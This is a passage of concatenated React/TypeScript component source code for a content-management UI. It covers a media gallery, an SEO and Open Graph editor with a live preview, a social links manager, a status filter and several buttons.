onChange={handleFileSelect}\n        className=\"hidden\"\n        disabled={uploadingIndex !== null}\n      />\n\n      {/* Media Grid */}\n      {media.length > 0 && (\n        <div>\n          <div className=\"flex items-center justify-between mb-4\">\n            <Label>Media Gallery ({media.length})</Label>\n            <p className=\"text-h6 text-ods-text-secondary\">Drag to reorder</p>\n          </div>\n\n          <div className=\"grid grid-cols-1 md:grid-cols-2 gap-4\">\n            {media.map((item, index) => (\n              <div\n                key={index}\n                draggable={!item._uploading}\n                onDragStart={handleDragStart(index)}\n                onDragOver={handleDragOver}\n                onDrop={handleDrop(index)}\n                className=\"relative group border border-ods-border rounded-lg overflow-hidden hover:border-ods-accent/30 transition-colors bg-ods-bg-surface\"\n              >\n                {/* Drag Handle */}\n                <div className=\"absolute top-2 left-2 opacity-0 group-hover:opacity-100 transition-opacity cursor-move z-10\">\n                  <GripVertical className=\"h-4 w-4 text-ods-text-on-dark drop-shadow\" />\n                </div>\n\n                {/* Delete Button */}\n                <div className=\"absolute top-2 right-2 opacity-0 group-hover:opacity-100 transition-opacity z-10\">\n                  <Button\n                    type=\"button\"\n                    variant=\"outline\"\n                    size=\"small-legacy\"\n                    onClick={() => removeMedia(index)}\n                    disabled={item._uploading}\n                    className=\"h-8 w-8 p-0 bg-ods-error hover:bg-ods-error-hover border-ods-error\"\n                  >\n                    <Trash2 className=\"h-4 w-4 text-ods-text-on-dark\" />\n                  </Button>\n                </div>\n\n                {/* Media Preview */}\n                {item.media_url && (\n                  <div className=\"aspect-video relative bg-ods-bg\">\n                    {item.media_type === 'video' || item.media_type === 'demo' ? (\n                      // <Video> SSOT (MuxPlayer) — plays Mux HLS + MP4 alike;\n                      // fit=\"cover\" crops to the aspect-video cell.\n                      <Video kind=\"file\" url={item.media_url} fit=\"cover\" className=\"w-full h-full\" />\n                    ) : (\n                      <Image\n                        src={item.media_url}\n                        alt={item.title || 'Media'}\n                        fill\n                        className=\"object-cover\"\n                        sizes=\"(max-width: 768px) 100vw, 50vw\"\n                      />\n                    )}\n                  </div>\n                )}\n\n                {item._uploading && (\n                  <div className=\"aspect-video bg-ods-bg flex items-center justify-center\">\n                    <div className=\"flex flex-col items-center gap-2\">\n                      <Loader2 className=\"h-8 w-8 animate-spin text-ods-accent\" />\n                      <span className=\"text-h6 text-ods-text-secondary\">Uploading...</span>\n                    </div>\n                  </div>\n                )}\n\n                {/* Media Info */}\n                <div className=\"p-3 space-y-2\">\n                  <div className=\"flex items-center gap-2\">\n                    {getIcon(item.media_type)}\n                    <Select\n                      value={item.media_type}\n                      onValueChange={(value: any) => updateMedia(index, 'media_type', value)}\n                      disabled={item._uploading}\n                    >\n                      <SelectTrigger className=\"bg-ods-bg h-8 text-h6\">\n                        <SelectValue />\n                      </SelectTrigger>\n                      <SelectContent className=\"bg-ods-card\">\n                        <SelectItem value=\"image\">Image</SelectItem>\n                        <SelectItem value=\"video\">Video</SelectItem>\n                        <SelectItem value=\"screenshot\">Screenshot</SelectItem>\n                        <SelectItem value=\"demo\">Demo</SelectItem>\n                      </SelectContent>\n                    </Select>\n                  </div>\n\n                  <Input\n                    placeholder=\"Title (optional)\"\n                    value={item.title}\n                    onChange={(e) => updateMedia(index, 'title', e.target.value)}\n                    onKeyDown={(e) => e.key === 'Enter' && e.preventDefault()}\n                    className=\"bg-ods-bg h-8 text-h6\"\n                    disabled={item._uploading}\n                  />\n                </div>\n              </div>\n            ))}\n          </div>\n        </div>\n      )}\n\n      {media.length === 0 && (\n        <div className=\"text-center py-8 px-4 bg-ods-bg-surface border border-ods-border rounded-lg\">\n          <ImageIcon className=\"h-12 w-12 text-ods-text-secondary mx-auto mb-4\" />\n          <h3 className=\"text-h3 text-ods-text-primary mb-2\">\n            No media uploaded yet\n          </h3>\n          <p className=\"text-h6 text-ods-text-secondary\">\n            Upload your first image or video to get started\n          </p>\n        </div>\n      )}\n    </div>\n  );\n}\n","\"use client\"\n\nimport React from 'react'\nimport { cn } from '../../utils/cn'\nimport { CheckCircleIcon } from '../icons-v2-generated/signs-and-symbols/check-circle-icon'\nimport { Tag, type TagProps } from '../ui/tag'\n\nexport interface SelectButtonProps {\n  title: string\n  description?: string\n  selected?: boolean\n  disabled?: boolean\n  icon?: React.ReactNode\n  image?: {\n    src: string\n    alt: string\n  }\n  tag?: string\n  tagVariant?: TagProps['variant']\n  onClick?: () => void\n  className?: string\n}\n\nexport const SelectButton = React.forwardRef<HTMLButtonElement, SelectButtonProps>(\n  ({ title, description, selected = false, disabled = false, icon, image, tag, tagVariant = \"outline\", onClick, className }, ref) => {\n    return (\n      <button\n        ref={ref}\n        type=\"button\"\n        role=\"option\"\n        aria-selected={selected}\n        disabled={disabled}\n        onClick={onClick}\n        className={cn(\n          \"group flex items-center md:gap-2 gap-1 h-11 md:h-16 px-3 md:px-4 py-3 rounded-[6px] border transition-colors duration-200\",\n          \"font-body text-left w-full\",\n          \"focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ods-focus\",\n          \"disabled:pointer-events-none disabled:opacity-50\",\n          // Hover / active move the BACKGROUND only, like Input — the accent\n          // border is reserved for the selected state, so an unselected button\n          // no longer flashes \"selected\" under the cursor.\n          selected\n            ? \"bg-ods-open-yellow-light border-ods-accent hover:bg-ods-open-yellow-light-hover active:bg-ods-open-yellow-light-action\"\n            : \"bg-ods-card border-ods-border hover:bg-ods-bg-hover active:bg-ods-bg-active\",\n          className,\n        )}\n      >\n        {icon && (\n          <span className={cn(\"shrink-0 flex items-center justify-center size-4 md:size-6\", selected ? \"text-ods-accent\" : \"text-ods-text-secondary\")}>\n            {icon}\n          </span>\n        )}\n\n        {image && (\n          <span className=\"shrink-0 size-10 rounded overflow-hidden\">\n            <img\n              src={image.src}\n              alt={image.alt}\n              className=\"size-full object-cover\"\n            />\n          </span>\n        )}\n\n        <span className=\"flex flex-1 flex-col justify-center min-w-0 overflow-hidden\">\n          <span className=\"text-h4 text-ods-text-primary truncate\" title={title}>\n            {title}\n          </span>\n          {description && (\n            <span\n              className={cn(\n                \"text-h6 truncate hidden md:flex\",\n                selected ? \"text-ods-accent\" : \"text-ods-text-secondary\",\n              )} title={description}>\n              {description}\n            </span>\n          )}\n        </span>\n\n        {tag && (\n          <Tag variant={tagVariant} className=\"shrink-0\" label={tag} />\n        )}\n\n        {selected && (\n          <CheckCircleIcon\n            className=\"shrink-0 size-4 md:size-6 text-ods-accent\"\n          />\n        )}\n      </button>\n    )\n  },\n)\n\nSelectButton.displayName = \"SelectButton\"\n","\"use client\";\n\nimport { useState } from 'react';\nimport { Input, Textarea, Label, Button, Badge, Field } from '../ui';\nimport { ConfidenceBadge } from '../features';\nimport { Globe, ExternalLink, Upload, X, Loader2, Sparkles } from 'lucide-react';\nimport { AIGeneratedBadge } from '../ui/ai-generated-badge';\nimport { cn } from '../../utils';\nimport Image from '../../embed-shims/next-image';\n// SSOT for the field cap (server-safe constant). The seo_title renders as the\n// page <title> verbatim (no brand suffix), so this is the full ~60-char budget.\nimport { SEO_TITLE_MAX_LENGTH } from '../../utils/seo-title';\nimport { SEO_DESCRIPTION_MAX_LENGTH } from '../../utils/seo-description';\n\n/** SEO Description textarea and the OG upload box sit side by side on desktop —\n *  ONE height constant for both, so the pair stays flush instead of each\n *  picking its own (`rows` on one, `min-h` on the other, drifting apart). */\nconst SEO_MEDIA_BOX_HEIGHT = 'h-[280px]'\n\nexport interface SEOEditorPreviewProps {\n  // SEO fields - must be strings (not undefined)\n  seoTitle: string;\n  seoDescription: string;\n  seoKeywords: string;\n  ogImageUrl: string;\n\n  // Auto-populate sources - must be strings (not undefined)\n  title: string;\n  summary: string;\n  featuredImage: string;\n\n  // Change handlers\n  onSeoTitleChange: (value: string) => void;\n  onSeoDescriptionChange: (value: string) => void;\n  onSeoKeywordsChange: (value: string) => void;\n  onOgImageUrlChange: (value: string) => void;\n\n  // Upload handler (provided by parent since it needs API endpoint)\n  onOgImageUpload?: (file: File) => Promise<string>;\n\n  // AI confidence scores\n  aiConfidenceSeoTitle?: number;\n  aiConfidenceSeoDescription?: number;\n  aiConfidenceSeoKeywords?: number;\n\n  // Optional\n  domain?: string;\n  disabled?: boolean;\n  className?: string;\n}\n\n/**\n * Unified SEO Editor with Live Preview\n * Complete self-contained component for managing SEO meta tags and OG preview\n * Used across blog posts, case studies, and product releases\n */\nexport function SEOEditorPreview({\n  seoTitle,\n  seoDescription,\n  seoKeywords,\n  ogImageUrl,\n  title,\n  summary,\n  featuredImage,\n  onSeoTitleChange,\n  onSeoDescriptionChange,\n  onSeoKeywordsChange,\n  onOgImageUrlChange,\n  onOgImageUpload,\n  aiConfidenceSeoTitle,\n  aiConfidenceSeoDescription,\n  aiConfidenceSeoKeywords,\n  domain = 'openmsp.ai',\n  disabled = false,\n  className = ''\n}: SEOEditorPreviewProps) {\n  const [imageError, setImageError] = useState(false);\n  const [isUploading, setIsUploading] = useState(false);\n  const [fileInputRef, setFileInputRef] = useState<HTMLInputElement | null>(null);\n\n  // SEO title length state — alerts the editor when the title would render too long.\n  const seoTitleLength = (seoTitle || '').length;\n  const seoTitleTooLong = seoTitleLength > SEO_TITLE_MAX_LENGTH;\n\n  // SEO description length state — the column is varchar(160); flag over-length so\n  // the editor (or a programmatically-set value) can be brought within budget.\n  const seoDescriptionLength = (seoDescription || '').length;\n  const seoDescriptionTooLong = seoDescriptionLength > SEO_DESCRIPTION_MAX_LENGTH;\n\n  // Use fallback values if OG fields are empty\n  const displayTitle = seoTitle.trim() || title || 'Untitled';\n  const displayDescription = seoDescription.trim() || summary || 'No description';\n  const hasOgImage = ogImageUrl.trim();\n  const hasFeaturedImage = featuredImage.trim();\n  const displayImage = hasOgImage || hasFeaturedImage;\n\n  const handleImageUpload = async (event: React.ChangeEvent<HTMLInputElement>) => {\n    if (!onOgImageUpload) return;\n\n    const file = event.target.files?.[0];\n    if (!file) return;\n\n    setIsUploading(true);\n    try {\n      const url = await onOgImageUpload(file);\n      onOgImageUrlChange(url);\n    } catch (error) {\n      console.error('OG image upload failed:', error);\n    } finally {\n      setIsUploading(false);\n    }\n  };\n\n  return (\n    <div className={cn('space-y-6 p-6 bg-ods-card border border-ods-border rounded-lg', className)}>\n      <h3 className=\"text-h5 text-ods-text-primary\">\n        SEO & Open Graph\n      </h3>\n\n      {/* SEO Title & Keywords - Same Row. EVERY field goes through `Field`, so\n          both columns share one label-row geometry; badges + the char counter\n          ride the label row (labelExtras / labelEnd) instead of adding stray\n          rows that misalign siblings. */}\n      <div className=\"grid grid-cols-1 lg:grid-cols-2 gap-4\">\n        <div className=\"space-y-2\">\n          <Field\n            label=\"SEO Title\"\n            error={seoTitleTooLong ? `Too long: search engines may truncate this title (keep it under ${SEO_TITLE_MAX_LENGTH})` : null}\n            labelExtras={\n              aiConfidenceSeoTitle !== undefined ? (\n                <>\n                  <AIGeneratedBadge />\n                  <ConfidenceBadge confidence={aiConfidenceSeoTitle} showLabel={true} showPercentage={true} size=\"sm\" />\n                </>\n              ) : undefined\n            }\n            labelEnd={\n              <span className={cn('text-h6 tabular-nums', seoTitleTooLong ? 'text-ods-error font-semibold' : 'text-ods-text-secondary')}>\n                {seoTitleLength}/{SEO_TITLE_MAX_LENGTH}\n              </span>\n            }\n          >\n            {(f) => (\n              <Input\n                {...f}\n                value={seoTitle || ''}\n                onChange={(e) => onSeoTitleChange(e.target.value)}\n                disabled={disabled}\n                maxLength={SEO_TITLE_MAX_LENGTH}\n                invalid={seoTitleTooLong}\n                placeholder=\"Enter SEO meta title...\"\n                className=\"bg-ods-bg border-ods-border text-ods-text-primary\"\n              />\n            )}\n          </Field>\n          {!seoTitle && title && (\n            <p className=\"text-h6 text-ods-accent\">\n              Auto-populated from title\n            </p>\n          )}\n        </div>\n\n        <Field\n          label=\"SEO Keywords\"\n          labelExtras={\n            aiConfidenceSeoKeywords !== undefined ? (\n              <>\n                <AIGeneratedBadge />\n                <ConfidenceBadge confidence={aiConfidenceSeoKeywords} showLabel={true} showPercentage={true} size=\"sm\" />\n              </>\n            ) : undefined\n          }\n        >\n          {(f) => (\n            <Input\n              {...f}\n              value={seoKeywords || ''}\n              onChange={(e) => onSeoKeywordsChange(e.target.value)}\n              disabled={disabled}\n              placeholder=\"Enter SEO keywords...\"\n              className=\"bg-ods-bg border-ods-border text-ods-text-primary\"\n            />\n          )}\n        </Field>\n      </div>\n\n      {/* SEO Description & OG Image - Same Row */}\n      <div className=\"grid grid-cols-1 lg:grid-cols-2 gap-4\">\n        <div className=\"space-y-2\">\n          <Field\n            label=\"SEO Description\"\n            error={seoDescriptionTooLong ? `Too long: search engines may truncate this description (keep it under ${SEO_DESCRIPTION_MAX_LENGTH})` : null}\n            labelExtras={\n              aiConfidenceSeoDescription !== undefined ? (\n                <>\n                  <AIGeneratedBadge />\n                  <ConfidenceBadge confidence={aiConfidenceSeoDescription} showLabel={true} showPercentage={true} size=\"sm\" />\n                </>\n              ) : undefined\n            }\n            labelEnd={\n              <span className={cn('text-h6 tabular-nums', seoDescriptionTooLong ? 'text-ods-error font-semibold' : 'text-ods-text-secondary')}>\n                {seoDescriptionLength}/{SEO_DESCRIPTION_MAX_LENGTH}\n              </span>\n            }\n          >\n            {(f) => (\n              <Textarea\n                {...f}\n                value={seoDescription || ''}\n                onChange={(e) => onSeoDescriptionChange(e.target.value)}\n                disabled={disabled}\n                maxLength={SEO_DESCRIPTION_MAX_LENGTH}\n                invalid={seoDescriptionTooLong}\n                placeholder=\"Enter SEO meta description...\"\n                className={cn('bg-ods-bg border-ods-border text-ods-text-primary resize-none', SEO_MEDIA_BOX_HEIGHT)}\n              />\n            )}\n          </Field>\n          {!seoDescription && summary && (\n            <p className=\"text-h6 text-ods-accent\">\n              Auto-populated from summary\n            </p>\n          )}\n        </div>\n\n        <div className=\"flex flex-col gap-[var(--spacing-system-xxs)]\">\n          {/* Group label for the upload widget — Field's exact label treatment,\n              so the OG column's label row aligns with the Description Field. */}\n          <Label>\n            OG Image\n          </Label>\n\n          {/* OG Image Upload/Display — pt matches Field's label→control offset\n              so this box's top aligns with the Description textarea's top. */}\n          <div className=\"relative pt-[var(--spacing-system-xxs)]\">\n            {displayImage && !imageError ? (\n              <div className={cn(\"relative group\", SEO_MEDIA_BOX_HEIGHT)}>\n                <Image\n                  src={displayImage}\n                  alt=\"OG Image\"\n                  fill\n                  className=\"object-contain rounded-lg\"\n                  onError={() => setImageError(true)}\n                />\n                <div className=\"absolute inset-0 bg-black bg-opacity-0 group-hover:bg-opacity-40 transition-all rounded-lg flex items-center justify-center gap-2\">\n                  {onOgImageUpload && (\n                    <Button\n                      type=\"button\"\n                      variant=\"outline\"\n                      size=\"icon\"\n                      onClick={() => fileInputRef?.click()}\n                      disabled={disabled || isUploading}\n                      className=\"bg-white text-black hover:bg-gray-100 rounded-full opacity-0 group-hover:opacity-100\"\n                    >\n                      <Upload className=\"h-4 w-4\" />\n                    </Button>\n                  )}\n                  <Button\n                    type=\"button\"\n                    variant=\"outline\"\n                    size=\"icon\"\n                    onClick={() => onOgImageUrlChange('')}\n                    disabled={disabled}\n                    className=\"bg-white text-black hover:bg-gray-100 rounded-full opacity-0 group-hover:opacity-100\"\n                  >\n                    <X className=\"h-4 w-4\" />\n                  </Button>\n                </div>\n              </div>\n            ) : (\n              <div\n                className={cn(SEO_MEDIA_BOX_HEIGHT, \"border-2 border-dashed border-ods-border rounded-lg flex flex-col items-center justify-center cursor-pointer hover:border-ods-accent transition-colors bg-ods-bg-hover\")}\n                onClick={() => onOgImageUpload && fileInputRef?.click()}\n              >\n                {isUploading ? (\n                  <Loader2 className=\"h-8 w-8 animate-spin text-ods-accent\" />\n                ) : (\n                  <>\n                    <Upload className=\"h-8 w-8 text-ods-text-secondary mb-2\" />\n                    <span className=\"text-h6 text-ods-text-secondary\">\n                      {onOgImageUpload ? 'Click to upload OG image' : 'No image'}\n                    </span>\n                  </>\n                )}\n              </div>\n            )}\n\n            {onOgImageUpload && (\n              <input\n                ref={setFileInputRef}\n                type=\"file\"\n                accept=\"image/*\"\n                onChange={handleImageUpload}\n                className=\"hidden\"\n                disabled={disabled || isUploading}\n              />\n            )}\n          </div>\n\n          {!ogImageUrl && featuredImage && (\n            <p className=\"text-h6 text-ods-accent\">\n              Using featured image\n            </p>\n          )}\n        </div>\n      </div>\n\n      {/* Live Preview */}\n      <div className=\"pt-4 border-t border-ods-border\">\n        <div className=\"flex items-center gap-2 mb-3\">\n          <Globe className=\"w-4 h-4 text-ods-text-secondary\" />\n          <span className=\"text-h6 text-ods-text-secondary\">\n            Social Media Preview\n          </span>\n        </div>\n\n        {/* OG Card Preview */}\n        <div className=\"bg-ods-bg border border-ods-border rounded-lg overflow-hidden max-w-[500px]\">\n          {/* Image Section */}\n          <div className=\"relative w-full h-[260px] bg-ods-bg-active\">\n            {displayImage && !imageError ? (\n              <Image\n                src={displayImage}\n                alt={displayTitle}\n                fill\n                className=\"object-cover\"\n                onError={() => setImageError(true)}\n              />\n            ) : (\n              <div className=\"absolute inset-0 flex items-center justify-center\">\n                <div className=\"text-center\">\n                  <Globe className=\"w-12 h-12 text-ods-text-secondary mx-auto mb-2\" />\n                  <p className=\"text-ods-text-secondary text-h6\">No preview image</p>\n                </div>\n              </div>\n            )}\n          </div>\n\n          {/* Content Section */}\n          <div className=\"p-4 space-y-2\">\n            {/* Domain */}\n            <div className=\"flex items-center gap-1\">\n              <ExternalLink className=\"w-3 h-3 text-ods-text-secondary\" />\n              <span className=\"text-h6 text-ods-text-secondary uppercase\">\n                {domain}\n              </span>\n            </div>\n\n            {/* Title */}\n            <h3 className=\"text-h6 font-semibold text-ods-text-primary line-clamp-2\">\n              {displayTitle}\n            </h3>\n\n            {/* Description */}\n            <p className=\"text-h6 text-ods-text-secondary line-clamp-3\">\n              {displayDescription}\n            </p>\n          </div>\n        </div>\n\n        {/* Fallback Indicators */}\n        <div className=\"space-y-1 mt-3\">\n          {!seoTitle.trim() && title && (\n            <p className=\"text-h6 text-ods-accent\">\n              • Using title as SEO title\n            </p>\n          )}\n          {!seoDescription.trim() && summary && (\n            <p className=\"text-h6 text-ods-accent\">\n              • Using summary as SEO description\n            </p>\n          )}\n          {!ogImageUrl.trim() && featuredImage.trim() && (\n            <p className=\"text-h6 text-ods-accent\">\n              • Using featured image as OG image\n            </p>\n          )}\n        </div>\n      </div>\n    </div>\n  );\n}\n","\"use client\";\n\nimport { useState } from 'react';\nimport {\n  LinkedInIcon,\n  GitHubIcon,\n  XLogo,\n  RedditIcon,\n  SlackIcon,\n  WhatsAppIcon\n} from '../icons';\nimport {\n  Button,\n  Input,\n  Select,\n  SelectContent,\n  SelectItem,\n  SelectTrigger,\n  SelectValue,\n  Label\n} from '../ui';\nimport { Trash2, User, Globe, Youtube, Instagram, Facebook, MessageCircle, Send, Music, Mail } from 'lucide-react';\n\nexport interface SocialLink {\n  platform: string;\n  url: string;\n  username?: string;\n  /** `internal` links render only on company-hub (server-enforced); default `external`. */\n  visibility?: 'external' | 'internal';\n}\n\nexport interface SocialPlatform {\n  id: string;\n  name: string;\n  display_name: string;\n  icon_name: string;\n  url_pattern?: string;\n  placeholder?: string;\n  enabled: boolean;\n}\n\ninterface SocialLinksManagerProps {\n  links: SocialLink[];\n  onChange: (links: SocialLink[]) => void;\n  platforms?: SocialPlatform[];\n  className?: string;\n}\n\n// Default platforms if none provided (empty array to encourage using dynamic data)\nconst defaultPlatforms: SocialPlatform[] = [];\n\n// Icon mapping - dynamically loaded based on database icon_name\nconst iconMap = {\n  linkedin: LinkedInIcon,\n  github: GitHubIcon,\n  twitter: XLogo,\n  reddit: RedditIcon,\n  slack: SlackIcon,\n  whatsapp: WhatsAppIcon,\n  website: Globe,\n  youtube: Youtube,\n  instagram: Instagram,\n  facebook: Facebook,\n  discord: MessageCircle,\n  telegram: Send,\n  tiktok: Music,\n  email: Mail,\n  mail: Mail,\n};\n\nexport function SocialLinksManager({\n  links,\n  onChange,\n  platforms = defaultPlatforms,\n  className = ''\n}: SocialLinksManagerProps) {\n  const addLink = () => {\n    const firstPlatform = platforms[0]?.name || 'website';\n    onChange([...links, { platform: firstPlatform, url: '' }]);\n  };\n\n  const removeLink = (index: number) => {\n    onChange(links.filter((_, i) => i !== index));\n  };\n\n  const updateLink = (index: number, field: keyof SocialLink, value: string) => {\n    const updated = [...links];\n    updated[index] = { ...updated[index], [field]: value };\n    onChange(updated);\n  };\n\n  const getIcon = (link: SocialLink, platform?: SocialPlatform) => {\n    // Use database icon_name if available, fallback to platform name\n    const iconKey = platform?.icon_name || link.platform;\n    const IconComponent = iconMap[iconKey as keyof typeof iconMap];\n    return IconComponent ? <IconComponent className=\"w-5 h-5 text-ods-text-secondary\" /> : null;\n  };\n\n  return (\n    <div className={`space-y-3 ${className}`}>\n      {links.map((link, index) => {\n        const platform = platforms.find(p => p.name === link.platform);\n        const Icon = getIcon(link, platform);\n\n        return (\n          <div key={index} className=\"flex items-center gap-3 p-3 bg-ods-bg-surface rounded-lg border border-ods-border\">\n            <div className=\"w-8 h-8 flex items-center justify-center\">\n              {Icon}\n            </div>\n\n            <div className=\"flex-1 grid grid-cols-2 gap-3\">\n              <div>\n                <Select\n                  value={link.platform}\n                  onValueChange={(value) => updateLink(index, 'platform', value)}\n                >\n                  <SelectTrigger className=\"w-full\">\n                    <SelectValue />\n                  </SelectTrigger>\n                  <SelectContent>\n                    {platforms.map(p => (\n                      <SelectItem key={p.name} value={p.name}>{p.display_name}</SelectItem>\n                    ))}\n                  </SelectContent>\n                </Select>\n              </div>\n\n              <Input\n                placeholder={platform?.placeholder || \"Profile URL\"}\n                value={link.url}\n                onChange={(e) => updateLink(index, 'url', e.target.value)}\n                onKeyDown={(e) => {\n                  if (e.key === 'Enter') {\n                    e.preventDefault()\n                    e.stopPropagation()\n                  }\n                }}\n              />\n            </div>\n\n            <Select\n              value={link.visibility ?? 'external'}\n              onValueChange={(value) => updateLink(index, 'visibility', value)}\n            >\n              <SelectTrigger className=\"w-[120px] shrink-0\" aria-label=\"Social link visibility\">\n                <SelectValue />\n              </SelectTrigger>\n              <SelectContent>\n                <SelectItem value=\"external\">Public</SelectItem>\n                <SelectItem value=\"internal\">Internal</SelectItem>\n              </SelectContent>\n            </Select>\n\n            <Button\n              type=\"button\"\n              variant=\"transparent\"\n              size=\"icon\"\n              onClick={() => removeLink(index)}\n              className=\"text-ods-error hover:text-ods-error-hover hover:bg-ods-error-secondary\"\n            >\n              <Trash2 className=\"h-4 w-4\" />\n            </Button>\n          </div>\n        );\n      })}\n\n      {links.length === 0 && (\n        <div className=\"text-center py-8 text-ods-text-secondary\">\n          <p className=\"text-h6\">No social links added yet.</p>\n        </div>\n      )}\n\n      <Button\n        variant=\"outline\"\n        onClick={addLink}\n        className=\"w-full\"\n        type=\"button\"\n        leftIcon={<User className=\"h-4 w-4\" />}\n      >\n        Add Social Link\n      </Button>\n    </div>\n  );\n}","\"use client\"\n\nimport * as React from 'react';\nimport { Button, type ButtonProps } from \"../ui/button\";\nimport { StatusBadge } from \"../ui/status-badge\";\nimport { OpenFrameLogo } from \"../icons\";\nimport { cn } from \"../../utils\";\n\nexport interface StartWithOpenFrameButtonProps extends Omit<ButtonProps, 'variant' | 'size' | 'leftIcon'> {\n  children?: React.ReactNode;\n  mode?: 'outline' | 'yellow' | 'pink' | 'purple' | 'cyan';\n  buttonSize?: 'sm' | 'md' | 'lg';\n  loading?: boolean;\n  buttonBackgroundColor?: string;\n  buttonTextColor?: string;\n}\n\n/**\n * \"Start with OpenFrame\" button for Flamingo header\n * – Five modes: 'outline' (default), 'yellow', 'pink', 'purple', and 'cyan'\n * – Shows OpenFrame icon on the left\n * – Same pattern as OpenFrame Github button in hero section\n * – Cyan mode uses custom background/text colors like JoinWaitlistButton\n */\nexport const StartWithOpenFrameButton = React.forwardRef<\n  HTMLButtonElement,\n  StartWithOpenFrameButtonProps\n>(({ children = 'Start Free Trial', mode = 'outline', className, buttonSize, loading = false, buttonBackgroundColor, buttonTextColor, ...props }, ref) => {\n  const isYellow = mode === 'yellow';\n  const isPink = mode === 'pink' || mode === 'purple';\n  const isCyan = mode === 'cyan';\n  \n  // Map buttonSize to Button component's size prop\n  const mappedSize = buttonSize === 'md' ? 'default' : buttonSize === 'sm' ? 'small-legacy' : buttonSize === 'lg' ? 'default' : undefined;\n\n  // Determine button variant and class names based on mode\n  let buttonVariant: 'accent' | 'outline' = 'outline';\n  let modeClassName = '';\n  let iconLowerPath = \"var(--ods-open-yellow-base)\";\n  let iconUpperPath = \"var(--ods-system-greys-white)\";\n  let customStyle: React.CSSProperties = {};\n  \n  if (isYellow) {\n    buttonVariant = \"accent\";\n    modeClassName = 'bg-ods-accent hover:bg-ods-accent-hover text-ods-text-on-accent border-ods-accent';\n    iconLowerPath = \"var(--ods-system-greys-white)\";\n    iconUpperPath = \"var(--ods-system-greys-black)\";\n  } else if (isPink) {\n    buttonVariant = \"accent\";\n    modeClassName = 'bg-ods-flamingo-pink hover:bg-ods-flamingo-pink-hover text-ods-text-on-accent border-ods-flamingo-pink';\n    iconLowerPath = \"var(--ods-system-greys-white)\";\n    iconUpperPath = \"var(--ods-system-greys-black)\";\n  } else if (isCyan) {\n    // Cyan mode: similar to JoinWaitlistButton with custom colors\n    buttonVariant = \"accent\";\n    modeClassName = 'bg-ods-flamingo-cyan hover:bg-ods-flamingo-cyan-hover text-ods-text-on-accent border-ods-flamingo-cyan';\n    // Allow override with custom colors if provided\n    if (buttonBackgroundColor || buttonTextColor) {\n      customStyle = { \n        backgroundColor: buttonBackgroundColor, \n        color: buttonTextColor\n      };\n    }\n    // For cyan mode with black text, use white/black icon for contrast\n    iconLowerPath = \"#ffffff\";\n    iconUpperPath = \"#1A1A1A\";\n  }\n  \n  return (\n    <Button\n      ref={ref}\n      {...props}\n      size={mappedSize}\n      variant={buttonVariant}\n      loading={loading}\n      className={cn(\n        modeClassName,\n        className\n      )}\n      style={customStyle}\n      leftIcon={!loading ? <OpenFrameLogo className=\"w-5 h-5\"\n        lowerPathColor={iconLowerPath}\n        upperPathColor={iconUpperPath} /> : undefined}\n      rightIcon={\n        <StatusBadge\n          text=\"Beta\"\n          variant=\"button\"\n          colorScheme=\"yellow\"\n        />\n      }\n    >\n      {children}\n    </Button>\n  );\n});\nStartWithOpenFrameButton.displayName = 'StartWithOpenFrameButton'; ","\"use client\";\n\nimport React from 'react';\nimport { Filter } from 'lucide-react';\nimport { Button } from '../ui/button';\n\nexport interface StatusOption {\n  value: string;\n  label: string;\n}\n\nexport interface StatusFilterComponentProps {\n  selectedStatus: string;\n  onStatusChange: (status: string) => void;\n  statusOptions: StatusOption[];\n  showCount?: boolean;\n  count?: number;\n  className?: string;\n  /** Status values (incl. `'all'`) to render but DISABLE — the buttons stay\n   *  visible (so the full set is always shown) but are non-clickable. Lets a\n   *  dashboard expose every status while gating which ones a given viewer may\n   *  actually select (e.g. non-management can only pick `published`). */\n  disabledValues?: string[];\n  /**\n   * Row label. Defaults to `Status`, so every existing call site is unchanged.\n   *\n   * Set it to reuse this row for any other single-select facet (Discipline,\n   * Level, …) instead of hand-rolling a look-alike: a duplicated row renders\n   * markup identical to this one, and React then pairs the copy against this\n   * component during hydration and reports a mismatch on the label text.\n   */\n  label?: string;\n  /**\n   * Render the built-in \"All\" clear-selection button (default true). Turn it\n   * off for facets with no all-of-them state — e.g. a View toggle\n   * (Everyone / My Sessions), where one option is always selected. Added so\n   * those rows reuse THIS component instead of hand-rolling identical markup\n   * (which React then pairs against this component during hydration).\n   */\n  showAll?: boolean;\n}\n\n/**\n * StatusFilterComponent - Reusable status filter for admin dashboards\n *\n * Displays a row of status filter buttons matching the blog posts dashboard pattern\n */\nexport function StatusFilterComponent({\n  selectedStatus,\n  onStatusChange,\n  statusOptions,\n  showCount = false,\n  count = 0,\n  className = '',\n  disabledValues = [],\n  label = 'Status',\n  showAll = true\n}: StatusFilterComponentProps) {\n  // Filter out 'all' from options since we render it separately\n  const filteredOptions = statusOptions.filter(option => option.value !== 'all');\n\n  return (\n    <div className={`flex flex-wrap items-center gap-3 p-4 bg-ods-card border border-ods-border rounded-lg ${className}`}>\n      <div className=\"flex items-center gap-2\">\n        <Filter className=\"h-4 w-4 text-ods-accent\" />\n        <span className=\"text-h5 text-ods-text-secondary\">\n          {label}\n        </span>\n      </div>\n\n      {/* All button */}\n      {showAll && (\n      <Button\n        type=\"button\"\n        variant={selectedStatus === 'all' ? \"accent\" : \"outline\"}\n        size=\"small-legacy\"\n        onClick={() => onStatusChange('all')}\n        disabled={disabledValues.includes('all')}\n        className=\"text-h3\"\n      >\n        All\n      </Button>\n      )}\n\n      {/* Status option buttons */}\n      {filteredOptions.map((option) => (\n        <Button\n          key={option.value}\n          type=\"button\"\n          variant={selectedStatus === option.value ? \"accent\" : \"outline\"}\n          size=\"small-legacy\"\n          onClick={() => onStatusChange(option.value)}\n          disabled={disabledValues.includes(option.value)}\n          className=\"text-h3\"\n        >\n          {option.label}\n        </Button>\n      ))}\n\n      {/* Optional count display */}\n      {showCount && (\n        <div className=\"ml-auto text-h6 text-ods-text-secondary shrink-0\">\n          {count} items\n        </div>\n      )}\n    </div>\n  );\n}\n","\"use client\";\n\nimport { useState } from 'react';\nimport { Search, X, Plus, Loader2 } from 'lucide-react';\nimport { Button } from '../ui';\nimport { cn } from '../../utils';\n\ninterface Tag {\n  id: number;\n  name: string;\n  slug: string;\n}\n\ninterface TagsSelectorProps {\n  availableTags: Tag[];\n  selectedTagIds: number[];\n  onTagsChange: (tagIds: number[]) => void;\n  onCreateTag?: (tagName: string) => Promise<Tag | null>;\n  maxTags?: number;\n  placeholder?: string;\n  className?: string;\n  disabled?: boolean;\n  allowCreate?: boolean;\n}\n\n/**\n * Unified 